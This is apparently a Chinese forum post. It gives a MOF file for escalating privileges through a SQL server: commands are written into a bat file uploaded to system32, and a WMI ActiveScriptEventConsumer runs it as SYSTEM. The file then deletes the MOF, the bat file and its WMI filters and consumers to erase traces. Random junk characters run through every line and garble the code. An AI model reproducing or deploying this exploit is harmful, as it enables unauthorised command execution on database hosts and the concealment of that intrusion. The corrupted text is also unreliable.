这个sql提权MOF需要运行 system下的文件,不能定义路径。$ w+ p! s3 ^. T* `% ?3 b
需要将要运行的命令写入到bat上传到system32目录,然后执行。
8 h" m7 g% d: X
, g) C- t M6 Y* k X: C这个sql提权MOF需要运行 system下的文件,不能定义路径。7 H2 s' J2 w( p+ L7 p. Q
需要将要运行的命令写入到bat上传到system32目录,然后执行。; g* V9 H2 |! l0 b1 L
2 R9 j/ L& A6 [# r- |- B, }5 E
#pragma
7 z6 }4 {' t. G% R) _ namespace("\\\\.\\root\\cimv2")2 e$ m9 P- ?- w& h* n9 _! \. K
class6 z0 t% E$ [) W" U
MyClass547
& B" ~ S4 K) y; n/ x: Z { [key]1 J" J1 z4 ~9 d
string4 W9 a7 N5 W3 F% [, J7 ?
Name;
% V5 Z ^7 ?$ h0 q! G" B* l- I };9 `# U+ ~: g8 `; w4 Z5 ^
class
8 d+ h4 a+ y9 \0 }! }( p" C ActiveScriptEventConsumer
7 u% ?' P1 H3 p8 v6 l+ @ : __EventConsumer { [key]7 n! H6 S3 B9 h( V4 k8 y3 d/ Q
string( }& n" h5 n" q
Name; [not_null]
, r+ _0 P; c7 l" g/ R* s) G" U" J/ P string
: A) \3 U' T, C1 z- x7 f ScriptingEngine; string+ B4 L/ j! O& [4 m4 F
ScriptFileName; [template]
5 G- k$ a* f) `0 o string
' I: C! c: i, ?* P# n ScriptText; uint32 KillTimeout;
' |; x! I0 h* P* { }; instance of __Win32Provider as $P {4 o2 ~# J" B. _5 q
Name5 @$ M5 {5 U/ s, k
=4 l s/ S( U- C+ u
"ActiveScriptEventConsumer"; CLSID =! g* C/ h2 {( J
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";+ \$ G1 E' B0 J( f/ [) k
PerUserInitialization
& R7 |' y9 U( G/ \" |0 D7 R8 _: n9 E = TRUE;- e, a5 f E' [+ D/ y& _# A+ ?
}; instance of __EventConsumerProviderRegistration { Provider
) x$ g8 }. A0 Q = $P; ConsumerClassNames/ `$ o* [/ _$ O7 J4 k; s
=
. z1 j u0 V+ {4 J& S8 B {"ActiveScriptEventConsumer"};
/ Z, Y% N% z2 _6 H/ `' p6 ?* C };) _ h' N4 e' x+ R" h# `( f+ {7 [
Instance of ActiveScriptEventConsumer# s2 X' A9 X; A$ t# s& m
as $cons { Name
1 n, ?% j8 V- Q =
$ H( A. Z% b- R9 W4 G/ [, _ "ASEC"; ScriptingEngine$ G3 P# _" c0 O$ n/ h( s9 ^7 x1 z
=
8 [" D5 S9 b0 T M; ~8 y "JScript"; ScriptText
( S- [3 w5 E" p2 r3 R =
9 S' {3 [$ I0 N. {3 P "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };& X: e5 v" t e7 x4 Q+ \) N
Instance of ActiveScriptEventConsumer5 x8 M* Q; k/ u" i
as $cons2 { Name7 Y9 v3 B: { F1 U7 `
=
/ y6 y$ _4 ?" j "qndASEC"; ScriptingEngine9 d# a2 Q% Y; v6 @7 E( c
=
; j1 T, U# S; ^ y6 ?3 m "JScript"; ScriptText
' i; B7 G1 N. x1 g8 k =
% x3 k+ s- m7 J "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
. r: S7 X) O* R/ ^" r# X7 i }; instance of __EventFilter as $Filt { Name" t9 i! Q1 i9 ?6 {; N0 C
=
2 L' }9 [, s7 j7 n q "instfilt"; Query' n; X0 A+ _+ \* o" n
=
, q. g/ U0 d5 h. T% ]! n4 _ "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
3 ?' y' j0 D- D, b8 m =
V, t0 i/ Z2 H+ e, W( ?) A "WQL"; }; instance of __EventFilter as $Filt2 { Name
8 k9 a6 `- ]6 c, R& e6 v0 s =3 H' M* D% }5 `( A: K0 [
"qndfilt"; Query
5 a7 i5 W' Z; X; Y9 ]7 G0 e =
) C. |, T+ o6 F- s4 E% L "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
7 ^6 j) e6 _; D% U =+ V% ~7 V- h. j. q L J
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer3 g. @8 \5 R& H* M0 E
= $cons; Filter
: p: v5 J+ b8 a5 H, q$ Z5 }. }! q3 ^ = $Filt;
+ L& ?6 k3 z; D }; instance of __FilterToConsumerBinding as $bind2 { Consumer; ^( M/ Q8 [( q9 d3 y
= $cons2; Filter' x! j U5 R, g$ x2 C% g; b7 A7 \0 O
= $Filt2;
( b: ]' P6 x* D% k! N6 Q+ V% o }; instance of MyClass547, L- N' U# s5 m% G
as $MyClass { Name
4 V9 i" F& Y) x b9 f u' b m =
4 o! _4 ?" ]: k+ u "ClassConsumer";" ~) b. p. c0 j( x4 h3 B
}; |